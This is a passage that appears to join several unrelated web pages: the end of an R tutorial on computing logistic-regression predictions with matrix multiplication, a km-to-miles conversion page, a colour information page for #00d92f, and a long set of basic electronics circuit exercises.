5 female 48 4207\n## 6 male 48 4207\n\npredict(model_categorical, newdata = data_to_plug_in_cat, type = \"link\")\n## 1 2 3 4 5 6\n## 2.707 -11.493 2.842 -11.357 2.978 -11.222\npredict(model_categorical, newdata = data_to_plug_in_cat, type = \"response\")\n## 1 2 3 4 5 6\n## 9.374e-01 1.020e-05 9.449e-01 1.169e-05 9.516e-01 1.338e-05``````\n\nIf we want to do this manually, we have to create a matrix version of `data_to_plug_in_cat` that has separate columns for `sexfemale` and `sexmale`. We can’t just use `as.matrix(data_to_plug_in_cat)`, since that only has a single column for `sex` (and because that column contains text, it forces the rest of the matrix to be text, which makes it so we can’t do math with it anymore):\n\n``````as.matrix(data_to_plug_in_cat)\n## sex bill_length_mm body_mass_g\n## [1,] \"female\" \"40\" \"4207\"\n## [2,] \"male\" \"40\" \"4207\"\n## [3,] \"female\" \"44\" \"4207\"\n## [4,] \"male\" \"44\" \"4207\"\n## [5,] \"female\" \"48\" \"4207\"\n## [6,] \"male\" \"48\" \"4207\"``````\n\nInstead, we can use `model.matrix()` to create a design matrix—also called a dummy-encoded matrix2 or a one-hot encoded matrix—which makes columns of 0s and 1s for each of the levels of `sex`\n\n• 2 Though we should probably quit using the word “dummy” because of its ableist connotations—see Google’s developer documentation style guide for alternatives.\n\n• ``````data_to_plug_in_cat_mat <- model.matrix(\n~ 0 + ., data = data_to_plug_in_cat\n)\ndata_to_plug_in_cat_mat\n## sexfemale sexmale bill_length_mm body_mass_g\n## 1 1 0 40 4207\n## 2 0 1 40 4207\n## 3 1 0 44 4207\n## 4 0 1 44 4207\n## 5 1 0 48 4207\n## 6 0 1 48 4207\n## attr(,\"assign\")\n## 1 1 2 3\n## attr(,\"contrasts\")\n## attr(,\"contrasts\")\\$sex\n## \"contr.treatment\"``````\n\nWe can now do math with this matrix. Since we don’t have an intercept term, we don’t need to create separate objects for the slopes and intercepts and can matrix multiply the new data matrix with the model coefficients:\n\n``````# Get all the coefficients\n(coefs_cat <- coef(model_categorical))\n## sexfemale sexmale bill_length_mm body_mass_g\n## -75.68237 -89.88199 0.03387 0.01831\n\n# Matrix multiply the newdata with the slope coefficients\n(log_odds_cat <- as.numeric(data_to_plug_in_cat_mat %*% coefs_cat))\n## 2.707 -11.493 2.842 -11.357 2.978 -11.222\n\n# Convert to probability scale\nplogis(log_odds_cat)\n## 9.374e-01 1.020e-05 9.449e-01 1.169e-05 9.516e-01 1.338e-05``````\n\nThe results are the same!\n\n``````predict(model_categorical, newdata = data_to_plug_in_cat, type = \"link\")\n## 1 2 3 4 5 6\n## 2.707 -11.493 2.842 -11.357 2.978 -11.222\nlog_odds_cat\n## 2.707 -11.493 2.842 -11.357 2.978 -11.222\n\npredict(model_categorical, newdata = data_to_plug_in_cat, type = \"response\")\n## 1 2 3 4 5 6\n## 9.374e-01 1.020e-05 9.449e-01 1.169e-05 9.516e-01 1.338e-05\nplogis(log_odds_cat)\n## 9.374e-01 1.020e-05 9.449e-01 1.169e-05 9.516e-01 1.338e-05``````\n\n## Citation\n\nBibTeX citation:\n``````@online{heiss2023,\nauthor = {Heiss, Andrew},\ntitle = {Manually Generate Predicted Values for Logistic Regression\nwith Matrix Multiplication in {R}},\npages = {undefined},\ndate = {2023-08-15},\nurl = {https://www.andrewheiss.com/blog/2023/08/15/matrix-multiply-logit-predict},\ndoi = {10.59350/qba9a-b3561},\nlangid = {en}\n}\n``````"
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https://kmmiles.com/0-914-km-in-miles | [
"kmmiles.com\n\n# 0.914 km in miles\n\n## Result\n\n0.914 km equals 0.5676 miles\n\nYou can also convert 0.914 km to mph.\n\n## Conversion formula\n\nMultiply the amount of km by the conversion factor to get the result in miles:\n\n0.914 km × 0.621 = 0.5676 mi\n\n## How to convert 0.914 km to miles?\n\nThe conversion factor from km to miles is 0.621, which means that 1 km is equal to 0.621 miles:\n\n1 km = 0.621 mi\n\nTo convert 0.914 km into miles we have to multiply 0.914 by the conversion factor in order to get the amount from km to miles. We can also form a proportion to calculate the result:\n\n1 km → 0.621 mi\n\n0.914 km → L(mi)\n\nSolve the above proportion to obtain the length L in miles:\n\nL(mi) = 0.914 km × 0.621 mi\n\nL(mi) = 0.5676 mi\n\nThe final result is:\n\n0.914 km → 0.5676 mi\n\nWe conclude that 0.914 km is equivalent to 0.5676 miles:\n\n0.914 km = 0.5676 miles\n\n## Result approximation\n\nFor practical purposes we can round our final result to an approximate numerical value. In this case zero point nine one four km is approximately zero point five six eight miles:\n\n0.914 km ≅ 0.568 miles\n\n## Conversion table\n\nFor quick reference purposes, below is the kilometers to miles conversion table:\n\nkilometers (km) miles (mi)\n1.914 km 1.188594 miles\n2.914 km 1.809594 miles\n3.914 km 2.430594 miles\n4.914 km 3.051594 miles\n5.914 km 3.672594 miles\n6.914 km 4.293594 miles\n7.914 km 4.914594 miles\n8.914 km 5.535594 miles\n9.914 km 6.156594 miles\n10.914 km 6.777594 miles\n\n## Units definitions\n\nThe units involved in this conversion are kilometers and miles. This is how they are defined:\n\n### Kilometers\n\nThe kilometer (symbol: km) is a unit of length in the metric system, equal to 1000m (also written as 1E+3m). It is commonly used officially for expressing distances between geographical places on land in most of the world.\n\n### Miles\n\nA mile is a most popular measurement unit of length, equal to most commonly 5,280 feet (1,760 yards, or about 1,609 meters). The mile of 5,280 feet is called land mile or the statute mile to distinguish it from the nautical mile (1,852 meters, about 6,076.1 feet). Use of the mile as a unit of measurement is now largely confined to the United Kingdom, the United States, and Canada."
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https://www.colorhexa.com/00d92f | [
"# #00d92f Color Information\n\nIn a RGB color space, hex #00d92f is composed of 0% red, 85.1% green and 18.4% blue. Whereas in a CMYK color space, it is composed of 100% cyan, 0% magenta, 78.3% yellow and 14.9% black. It has a hue angle of 133 degrees, a saturation of 100% and a lightness of 42.5%. #00d92f color hex could be obtained by blending #00ff5e with #00b300. Closest websafe color is: #00cc33.\n\n• R 0\n• G 85\n• B 18\nRGB color chart\n• C 100\n• M 0\n• Y 78\n• K 15\nCMYK color chart\n\n#00d92f color description : Pure (or mostly pure) lime green.\n\n# #00d92f Color Conversion\n\nThe hexadecimal color #00d92f has RGB values of R:0, G:217, B:47 and CMYK values of C:1, M:0, Y:0.78, K:0.15. Its decimal value is 55599.\n\nHex triplet RGB Decimal 00d92f `#00d92f` 0, 217, 47 `rgb(0,217,47)` 0, 85.1, 18.4 `rgb(0%,85.1%,18.4%)` 100, 0, 78, 15 133°, 100, 42.5 `hsl(133,100%,42.5%)` 133°, 100, 85.1 00cc33 `#00cc33`\nCIE-LAB 75.964, -74.656, 65.488 25.324, 49.828, 10.972 0.294, 0.579, 49.828 75.964, 99.309, 138.743 75.964, -71.208, 87.189 70.589, -59.492, 40.196 00000000, 11011001, 00101111\n\n# Color Schemes with #00d92f\n\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\n• #d900aa\n``#d900aa` `rgb(217,0,170)``\nComplementary Color\n• #3ed900\n``#3ed900` `rgb(62,217,0)``\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\n• #00d99c\n``#00d99c` `rgb(0,217,156)``\nAnalogous Color\n• #d9003e\n``#d9003e` `rgb(217,0,62)``\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\n• #9c00d9\n``#9c00d9` `rgb(156,0,217)``\nSplit Complementary Color\n• #d92f00\n``#d92f00` `rgb(217,47,0)``\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\n• #2f00d9\n``#2f00d9` `rgb(47,0,217)``\n``#aad900` `rgb(170,217,0)``\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\n• #2f00d9\n``#2f00d9` `rgb(47,0,217)``\n• #d900aa\n``#d900aa` `rgb(217,0,170)``\n• #008d1e\n``#008d1e` `rgb(0,141,30)``\n• #00a624\n``#00a624` `rgb(0,166,36)``\n• #00c029\n``#00c029` `rgb(0,192,41)``\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\n• #00f335\n``#00f335` `rgb(0,243,53)``\n• #0dff41\n``#0dff41` `rgb(13,255,65)``\n• #27ff55\n``#27ff55` `rgb(39,255,85)``\nMonochromatic Color\n\n# Alternatives to #00d92f\n\nBelow, you can see some colors close to #00d92f. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #07d900\n``#07d900` `rgb(7,217,0)``\n• #00d90b\n``#00d90b` `rgb(0,217,11)``\n• #00d91d\n``#00d91d` `rgb(0,217,29)``\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\n• #00d941\n``#00d941` `rgb(0,217,65)``\n• #00d953\n``#00d953` `rgb(0,217,83)``\n• #00d965\n``#00d965` `rgb(0,217,101)``\nSimilar Colors\n\n# #00d92f Preview\n\nThis text has a font color of #00d92f.\n\n``<span style=\"color:#00d92f;\">Text here</span>``\n#00d92f background color\n\nThis paragraph has a background color of #00d92f.\n\n``<p style=\"background-color:#00d92f;\">Content here</p>``\n#00d92f border color\n\nThis element has a border color of #00d92f.\n\n``<div style=\"border:1px solid #00d92f;\">Content here</div>``\nCSS codes\n``.text {color:#00d92f;}``\n``.background {background-color:#00d92f;}``\n``.border {border:1px solid #00d92f;}``\n\n# Shades and Tints of #00d92f\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #000100 is the darkest color, while #edfff1 is the lightest one.\n\n• #000100\n``#000100` `rgb(0,1,0)``\n• #001505\n``#001505` `rgb(0,21,5)``\n• #002809\n``#002809` `rgb(0,40,9)``\n• #003c0d\n``#003c0d` `rgb(0,60,13)``\n• #005011\n``#005011` `rgb(0,80,17)``\n• #006316\n``#006316` `rgb(0,99,22)``\n• #00771a\n``#00771a` `rgb(0,119,26)``\n• #008b1e\n``#008b1e` `rgb(0,139,30)``\n• #009e22\n``#009e22` `rgb(0,158,34)``\n• #00b227\n``#00b227` `rgb(0,178,39)``\n• #00c52b\n``#00c52b` `rgb(0,197,43)``\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\n• #00ed33\n``#00ed33` `rgb(0,237,51)``\n• #01ff38\n``#01ff38` `rgb(1,255,56)``\n• #15ff48\n``#15ff48` `rgb(21,255,72)``\n• #28ff57\n``#28ff57` `rgb(40,255,87)``\n• #3cff66\n``#3cff66` `rgb(60,255,102)``\n• #50ff76\n``#50ff76` `rgb(80,255,118)``\n• #63ff85\n``#63ff85` `rgb(99,255,133)``\n• #77ff94\n``#77ff94` `rgb(119,255,148)``\n• #8bffa4\n``#8bffa4` `rgb(139,255,164)``\n• #9effb3\n``#9effb3` `rgb(158,255,179)``\n• #b2ffc2\n``#b2ffc2` `rgb(178,255,194)``\n• #c5ffd2\n``#c5ffd2` `rgb(197,255,210)``\n• #d9ffe1\n``#d9ffe1` `rgb(217,255,225)``\n• #edfff1\n``#edfff1` `rgb(237,255,241)``\nTint Color Variation\n\n# Tones of #00d92f\n\nA tone is produced by adding gray to any pure hue. In this case, #647568 is the less saturated color, while #00d92f is the most saturated one.\n\n• #647568\n``#647568` `rgb(100,117,104)``\n• #5c7d63\n``#5c7d63` `rgb(92,125,99)``\n• #53865e\n``#53865e` `rgb(83,134,94)``\n• #4b8e5a\n``#4b8e5a` `rgb(75,142,90)``\n• #439655\n``#439655` `rgb(67,150,85)``\n• #3a9f50\n``#3a9f50` `rgb(58,159,80)``\n• #32a74b\n``#32a74b` `rgb(50,167,75)``\n• #2aaf47\n``#2aaf47` `rgb(42,175,71)``\n• #21b842\n``#21b842` `rgb(33,184,66)``\n• #19c03d\n``#19c03d` `rgb(25,192,61)``\n• #11c838\n``#11c838` `rgb(17,200,56)``\n• #08d134\n``#08d134` `rgb(8,209,52)``\n• #00d92f\n``#00d92f` `rgb(0,217,47)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #00d92f is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population"
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https://teachmetomake.wordpress.com/basic-electronic-exercises/ | [
"## Basic Electronic Exercises\n\n### Instructions\n\n1. Read every word of the instructions, carefully\n2. If you get stuck, move on. Another question might help you understand something you are stuck on\n3. Read every word of each question, very carefully, and be sure to answer all parts. Too often students don’t read the question carefully and either answer the wrong question, or only part of the question\n4. Write clearly. I do give partial credit for partial work, or for showing you know how to approach a problem, but not if I can’t read it\n5. Double check your work. I often see simple mistakes that could easily be avoided\n6. Show all of your work. Use as much extra paper as you wish. I will not give credit for numerical answers that are not accompanied by calculations or explanations. Simple answers to simple questions are fine. Use your common sense\n7. Always show units when appropriate\n\n### Exercise 1:\n\na) Explain, in your own words, what determines whether two or more components are connected in series.\nb) Explain, in your own words, what determines whether two or more components are connected in parallel.\n\n### Exercise 2:\n\na) Can the same components be both in series and in parallel?\nb) Can the same components be neither in series nor in parallel?\nc) Can a circuit contain some components in series, some in parallel, and some neither?\n\n### Exercise 3:\n\nFor each figure below, identify which of the components are connected in series with each other, and which of the components are connected in parallel with each other.",
null,
"### Exercise 4:\n\nFor each figure below, identify which of the components are connected in series with each other, and which of the components are connected in parallel with each other.\n\nFigure 1:",
null,
"Figure 2:",
null,
"Figure 3:",
null,
"### Exercise 5:\n\nCalculate the voltage drop on the resistor, the current through the resistor, and the power dissipated in the resistor:\n\nV1 = 9.6V\nR1 = 2200 Ohms",
null,
"### Exercise 6:\n\nWhat is the equivalent resistance of two resistors in series?\nWhat is the equivalent resistance of three resistors in series?\nWhat is the equivalent resistance of four resistors in series?\n\n### Exercise 7:\n\nWhat is the equivalent resistance of two resistors in parallel?\nWhat is the equivalent resistance of three resistors in parallel?\nWhat is the equivalent resistance of four resistors in parallel?\n\n### Exercise 8:\n\nCalculate the voltage drop on each resistor, the current through each resistor, and the power dissipated in each resistor:\n\nV1 = 15V\nR1 = 10K Ohm\nR2 = 10K Ohm",
null,
"### Exercise 9:\n\nCalculate the voltage drop on each resistor, the current through each resistor, and the power dissipated in each resistor:\n\nV1 = 15V\nR1 = 10K Ohm\nR2 = 20K Ohm",
null,
"### Exercise 10:\n\nCalculate the voltage drop on each resistor, the current through each resistor, and the power dissipated in each resistor:\n\nVbattery = 9V\nR1 = 980 Ohms\nR2 = 1.2K Ohms\nR3 = 560 Ohms",
null,
"### Exercise 11:\n\nCalculate the voltage drop on each resistor, the current through each resistor, and the power dissipated in each resistor:\n\nVbattery = 9V\nR1 = 980 Ohms\nR2 = 1.2K Ohms\nR3 = 560 Ohms",
null,
"### Exercise 12:\n\nCalculate the voltage drop on each resistor, the current through each resistor, and the power dissipated in each resistor:\n\nVbattery = 9V\nR1 = 980 Ohms\nR2 = 1.2K Ohms\nR3 = 560 Ohms",
null,
"### Exercise 13:\n\nCalculate the voltage drop on each resistor, the current through each resistor, and the power dissipated in each resistor. Assume a supply voltage of 12 Volts between points A and B:",
null,
"### Exercise 14:\n\nCalculate the voltage drop on resistor R1 and indicate the polarity of the voltage on the resistor:",
null,
"### Exercise 15:\n\nCalculate the voltage drop on resistor R1 and indicate the polarity of the voltage on the resistor:",
null,
"### Exercise 16:\n\nCalculate the voltage drop on each resistor and indicate the polarity of the voltage drop on each resistor:",
null,
"### Exercise 17:\n\nCalculate the voltage drop on each resistor and indicate the polarity of the voltage drop on each resistor:",
null,
"### Exercise 18:\n\nCalculate the voltage drop on each resistor and indicate the polarity of the voltage drop on each resistor:",
null,
"### Exercise 19\n\nCalculate the voltage drop on each resistor and indicate the polarity of the voltage drop on each resistor with the switch open, as indicated. Next, calculate the voltage drop on each resistor and indicate the polarity of the voltage drop on each resistor when the switch is closed.",
null,
"### Exercise 20:",
null,
"Given:\n\nVb1 = 7V\nVb2 = 3V\nR1 = 10K Ohm\nR2 = 5K Ohm total resistance, and the wiper is in the middle\nR3 = 20K Ohm\nR4 = 15K Ohm\n\nCalculate the voltage drop on each resistor and indicate the polarity of the voltage drop on each resistor with the switch open, as indicated. Next, calculate the voltage drop on each resistor and indicate the polarity of the voltage drop on each resistor when the switch is closed.\n\n### Exercise 21:",
null,
"Given:\n\nV1 = 9V\nV2 = 9V\n\nWhat is the voltage between points A and B? What is the polarity?\n\n### Exercise 22:",
null,
"Given:\n\nV1 = 9V\nV2 = 9V\n\nWhat is the voltage between points A and B? What is the polarity?\n\n### Exercise 23:\n\nWhat is the resistance of the following three resistors whose color bands are:\n\na) brown-black-red\nb) red-red-orange\nc) yellow-violet-brown\n\n### Exercise 24:",
null,
"Given:\n\nV1 = 9V\nR1 = 1 K Ohm\nR2 = 5.6 K Ohm\nR3 = 1.2 K Ohm\nR4 = 2.2 K Ohm\nR5 = 1K Ohm\nR6 = 18K Ohm\n\nWhat is the voltage at point B relative to the voltage at point A?\n\n### Exercise 25",
null,
"Given:\nR1 = 2.2K Ohm\nC1 = 10 uF\nR2=10K Ohm\n\n.\n\na) What is the time constant of C1 and R1, when only switch Sw1 is closed?\nb) How long will it take for the capacitor to charge almost to the voltage of the battery?\nc) What is the time constant of C1 and R2, when only switch Sw2 is closed?\nb) How long will it take for the capacitor to discharge?\n\n### Exercise 26",
null,
"Given:\n\nForward voltage on diode = 0.7V\nR1 = 10K Ohm\nR2 = 12K Ohm\nR3 = 980 Ohm\nR4 = 1.2K Ohm\nR5 = 5.6K Ohm\nV1 = 12V\n\nWhat is the voltage on each resistor?\n\n### Exercise 27",
null,
"Given:\n\nI1 = 150 mA\nI2 = 40 mA\nI3 = 200 mA\n\nCalculate the current through resistors R1, R2, R3 and R4\n\n### Exercise 28",
null,
"Given:\n\nV1 = 9.6V\nD1 has a forward drop of 0.7V\nD2 has a forward drop of 2V\nR1 = 1K Ohm\n\na) What should R2 be in order to limit the current through LED D2 to 25 mA?\nb) What is the current through resistor R1?\n\n### Exercise 29\n\nWhat colors are the bands on the following resistors?\n\na) 680 Ohm\nb) 10 Ohm\nc) 470K Ohm\nd) 1M Ohm\ne) 1.2M Ohm\n\n### Exercise 30-34\n\nExercises 30-34 use this circuit:",
null,
"### Exercise 30:\n\nGiven:\n\n1. Vin = 10 Vrms\n2. R1 = 100 Ohm\n3. R2 = 10K Ohm\n4. R3 = 4M Ohm\n\nSolve:\n\n1. Calculate V1, the voltage drop on resistor R1, with switch S1 open\n2. Calculate Vout, the voltage at the “output”, with switch S1 open\n3. Calculate Vout, the voltage at the “output”, with switch S1 closed\n\n### Exercise 31:\n\nGiven:\n\n1. Vin = 10 Vrms\n2. R1 = 10K Ohm\n3. R2 = 10K Ohm\n4. R3 = 4M Ohm\n\nSolve:\n\n1. Calculate V1, the voltage drop on resistor R1, with switch S1 open\n2. Calculate Vout, the voltage at the “output”, with switch S1 open\n3. Calculate Vout, the voltage at the “output”, with switch S1 closed\n\n### Exercise 32:\n\n1. What are the differences between Exercise 30 and Exercise 31?\n2. If you were designing a similar circuit and wanted Vout to be as close as possible to Vin, how would you select R1?\n\n### Exercise 33:\n\nGiven:\n\n1. Vin = 10 Vrms\n2. R1 = 100 Ohm\n3. R2 = 10K Ohm\n4. R3 = 10K Ohm\n\nSolve:\n\n1. Calculate V1, the voltage drop on resistor R1, with switch S1 open\n2. Calculate Vout, the voltage at the “output”, with switch S1 open\n3. Calculate Vout, the voltage at the “output”, with switch S1 closed\n\n### Exercise 34:\n\n1. What are the differences between Exercise 30 and Exercise 33?\n2. If R3 represents an external device that is to be connected to the rest of the circuit, how should R3 be designed to have as little impact as possible on Vout?\n\n### Exercise 35:",
null,
"Given:\n\nR1 = 10K Ohm\nR2 = 10K Ohm\nR3 = 5K Ohm\nR4 = 2.2K Ohm\nVb1 = 9.6 V\nVb2 = 7.2V\n\na) What is the voltage drop on each resistor, and what is the polarity?\nb) What is the voltage difference between points A and B, and what is the polarity?\n\n### Exercise 36",
null,
"Given:\n\nVb1 = 12V\nR1 = 330 Ohm\nR2 = 10K Ohm\nR3 = 680 Ohm\nR4 = 32K Ohm\nR5 = 47K Ohm\nR6 =22K Ohm\nR7 = 470 Ohm\n\na) What is the voltage drop on each resistor, and what is the polarity?\nb) What is the voltage difference between points A and B, and what is the polarity?\n\n### Exercise 37",
null,
"Given:\n\nVb1 = 12V\nVb2 = 24V\nVb3 = 6V\nR1 = 330 Ohm\nR2 = 10K Ohm\nR3 = 680 Ohm\nR4 = 32K Ohm\nR5 = 47K Ohm\nR6 =22K Ohm\n\na) What is the voltage drop on each resistor, and what is the polarity?\nb) What is the voltage difference between points A and B, and what is the polarity?\n\n### Exercise 38",
null,
"Given:\n\nVb1 = 12V\nVb2 = 24V\nVb3 = 66V\nR1 = 680 Ohm\nR2 = 470 Ohm\nR3 = 330 Ohm\nR4 = 32K Ohm\nR5 = 47K Ohm\n\na) What is the voltage drop on each resistor, and what is the polarity?\nb) What is the voltage difference between points A and B, and what is the polarity?\n\n### Exercise 39:",
null,
"Given:\n\nVb1 = 4.5V\nVb2 = 9.6V\nVxy at two arbitrary points X and Y is defined as the voltage indicated by a multimeter with the red test lead touching point X and the black test lead touching point Y\n\na) What is the voltage at point A relative to ground, and what is the polarity?\nb) What is the voltage at point B relative to ground, and what is the polarity?\nc) What is Vab?\n\n### Exercise 40:",
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"Given:\n\nR1 = 2KΩ\nR2 = 4.7KΩ\nR3 = 3.2KΩ\nR4 = 5.1KΩ\n\nWhat is the resistance between points A and B?\n\n### Exercise 41:",
null,
"Given:\nR1 = 2KΩ\nR2 = 4.7KΩ\nR3 = 3.2KΩ\nR4 = 5.1KΩ\nVb1 = 9.6V\na) What is the voltage difference between points A and B?\nb) What is the polarity between points A and B?\n\n### Exercise 42:",
null,
"Given:\nR1 = 2KΩ\nR2 = 4.7KΩ\nR3 = 3.2KΩ\nVb1 = 9.2V\nVb2 = 4.5V\nThe forward voltage drop on D1 is 0.7V\na) What is the voltage difference between A and B when the switch is open?\nb) What is the voltage drop on resistor R3 when the switch is closed?\n\n### Exercise 43:",
null,
"Given:\nVin = 10mVrms\nR1 = 600Ω\nR2 = 12KΩ\nVB, the voltage at point B relative to ground, is zero\nThe box contains unknown components, possibly including power supplies.\nWhat is VC, the voltage at point C relative to ground?\n\n### Exercise 44:",
null,
"Given:\nVb1 = 9V\nR1 = 600Ω\nR2 = 100Ω\nR3 = 900Ω\nR4 = 300Ω\n\nD1 is an LED. Its forward voltage drop Vf = 2V and the current through it is 30 mA.\na) What is the voltage drop on each resistor?\nb) What is the polarity of the voltage drop on each resistor?\n\n### Exercise 45:",
null,
"Given:\nVb1 = 12V\nR1 = 470Ω\nR2 = 100Ω\nR3 = 900Ω\nR4 = 30Ω\nR5 = 270Ω\nD1is an LED. Its forward voltage drop Vf = 2V and the maximum current it can tolerate is 30 mA.\nSw1is a selector switch that can be in one of 5 positions, A through E. As shown it is in position B. (The labels for positions B, C, and D have been left off for clarity.)\na) What switch positions can be safely used?\nb)What switch position yields the maximum safe current?\n\n### Exercise 46:",
null,
"### Exercise 47:",
null,
"Given:\nR1 is a fixed resistor.\nR2 is a photoresistor, a light sensitive resistor. When exposed to light, its resistance decreases.\nVout is measured relative to ground.\na) When R2 is exposed to more light, does Vout increase or decrease?\nb) What values of R1 and R2 would make Vout= 3V?\n\n### Exercise 48:",
null,
"Given:\n\nR = 1K Ω\nC = .22 uF\n\na) What type of filter is this?\nb) What is the cutoff frequency?\nc) What is the reactance of the capacitor at the cutoff frequency? What do you notice about this value?\n\n### Exercise 49:",
null,
"Given:\n\nR = 4.7K Ω\nC = 33 nF\n\na) What type of filter is this?\nb) What is the cutoff frequency?\nc) What is the reactance of the capacitor at the cutoff frequency? What do you notice about this value?\n\n### Exercise 50:",
null,
"Given:\n\n• R1 = R2 = R3 = 10K Ohms\n• C1 = 10 uF\n• Unless otherwise indicated, voltages are relative to the ground\n• The op-amp is an ideal op-amp. That means that:\n• It has infinite input resistance\n• Since there is no feedback:\n• Vout=9V if V+ > V-\n• Vout=-9V if V- > V+\n• Before the switch is closed, the voltage on the capacitor is zero\n\na) What is the value of Vout before the switch is closed?\nb) When will the value of Vout change?\nc) After Vout changes, what will its new value be?\n\n### Exercise 51:\n\nGiven: A low pass RC filter\n\na) Starting with Xc, the reactance of a capacitor; Zc, the impedance of a resistor and capacitor in series; the equation for a voltage divider; and the definition of a 3dB voltage drop; derive the equation for f(-3dB), the frequency at which ththe voltage drops by 3dB.\n\nb) Why is this this equation the same for a high-pass filter?\n\n### Exercise 52:",
null,
"Given:\n\n• An ideal op-amp (see above)\n• Since there is feedback, the output of the op-amp (Vout) will do whatever it needs to do so that the voltage at its inputs are identical\n\na) Derive the equation for the gain of this circuit. Note that it depends only on the two resistors.\n\nb) Why is this called an inverting amplifier circuit?\n\n### Exercise 53:",
null,
"Given:\n\n• All resistors = 4.7K Ohm\n• C1 = .022 uF\n• Vb1 = 7.2V\n• Vb2 = 9.6V\n• A long time has passed\n\na) What is the voltage across the capacitor?\n\n### Exercise 54:",
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"Given:\n\n• Vb1 = 12V\n• Vb2 = 9V\n• Vb3 = 24V\n• Vb4 = -24V\n• R3 = 10K Ohms\n• C1 = 10 uF\n• Unless otherwise indicated, voltages are relative to the ground\n• The op-amp is an ideal op-amp. That means that:\n• It has infinite input resistance\n• Since there is no feedback:\n• Vout=the positive supply voltage if V+ > V-\n• Vout=the negative supply voltage if V- > V+\n• Before the switch is closed, the voltage on the capacitor is zero\n\na) What is the value of Vout before the switch is closed?\nb) Select values for R1 and R2 so that after half a second Vout will change\nc) After Vout changes, what will its new value be?\n\n### Exercise 55:",
null,
"Given:\n\n• An ideal op-amp (see above)\n• Since there is feedback, the output of the op-amp (Vout) will do whatever it needs so that the voltage at its inputs are identical\n• Rf = 100K Ohm\n• Rs = 10K Ohm\n• Vs = 4Vp-p at 440 Hz, center at zero (i.e. no DC component), sine wave\n\na) Graph 2 cycles of Vs, starting at zero volts\nb) Directly below the graph of Vs, graph the corresponding shape and size of Vout. Indicate the scale of the X and Y axis, indicate the value on the Y axis at the peaks, and indicate the value on the X axis at the zero crossing\n\n### Exercise 56:",
null,
"Given:\n\n• An ideal op-amp:\n• V(inverting) = V(non-inverting)\n• Rf = 12K Ohm\n• Rs = 1.2K Ohm\n• Vs = 4mVp-p at 440 Hz, center at zero (i.e. no DC component), sine wave\n• Rout = 10K Ohm\n• Wiper of Rout is one quarter of the way up from the ground connection\n\nWhat is the level, frequency, and shape of Vout?\n\nSolution to exercise 56\n\n### Exercise 57:",
null,
"Given:\n\n• An ideal op-amp:\n• V(inverting) = V(non-inverting)\n• Voltage gain=-Rf/Rs\n• Vs = 37mVp-p at 3600 Hz\n• Rf = 1.2M Ohm\n• Rs = 120K Ohm\n• R1 = 2.1K Ohm\n• C1 = .021 uF\n\nWhat is the level of Vout? You don’t have to describe the shape.\n\n(Note: Although the output wave is the same shape (sine wave), the RC filter introduces a phase shift and so the output is not simply 180 degrees out of phase with the input wave.)\n\n### Exercise 58:",
null,
"Given:\n\n• An ideal op-amp:\n• V(inverting) = V(non-inverting)\n• Voltage gain=-Rf/Rs\n• Vs =1mVrms, f=1.2 KHz\n• Rf =1M Ohm\n• Rs =120K Ohm\n• R1 =330 Ohm\n• C1 =220 nF\n• In general, you can not automatically assume that each stage of a circuit can be analyzed in isolation, as if the stage before and after is not present. However, in this exercise, you are given the fact that the filter and op-amp can be analyzed independently.\nWhat is the value of Vout?\nHint:\n1. Analyze the effect of the filter\n2. Calculate the gain of the op-amp\n3. Take the result of the filter calculation, and apply to it the gain of the op-amp\n\n### Exercise 59:",
null,
"Given:\n\n1. Vs = 1.3mV\n2. Vbe = 0.7mV\n3. Rb = 100 Ohm\n4. Ic, the current flowing in resistor Rc, is 3300 times the current flowing through resistor Rb\n5. Vdd = 12V\n6. Rc = 330 Ohm\n\na) What is the value of Ib, the current flowing in resistor Rb? Hint: Calculate first the voltage drop across resistor Rb.\n\nb) What is the current flowing through resistor Rc? Hint: Use given #4 above and your answer from part a\n\nc) What is the voltage drop on resistor Rc? Hint: The resistor with no name does not matter\n\nd) What is the value of Vout? Hint: How does the capacitor appear to DC?\n\n### Exercise 60:",
null,
"Given:\n\n1. Vbat = 8V\n2. R1 and R3 are fixed resistors, while R2 is a potentiometer. Vout can be varied by turning the potentiometer up and down, but due to R1 and R3, Vout can never go as high as Vbat or as low as ground\n\nRequirements:\n\n1. The maximum current Imax allowed is 500 micro amps (500 uA)\n2. Vout is desired to be about 2V, with R2 set to the middle of its range.\n3. Vout is desired to be adjustable +/- 0.2V, in other words, from a minimum of 1.8V to a maximum of 2.2V\n\na) What is the minimal total resistance of R1, R2, and R3 to meet the maximum current requirement?\n\nb) What is the voltage drop on R2 to meet the requirement of the adjustment of +/- 0.2V?\n\nc) What is the voltage drop on R1 and R3, so that Vout is 1.8V when R2 is turned all the way down, and Vout is 2.2V when R2 is turned all the way up?\n\nd) Choose resistor values for R1, R2, and R3 so that all the requirements are met. Note that there are many answers (actually, an infinite number of answers).\n\n### Exercise 61:",
null,
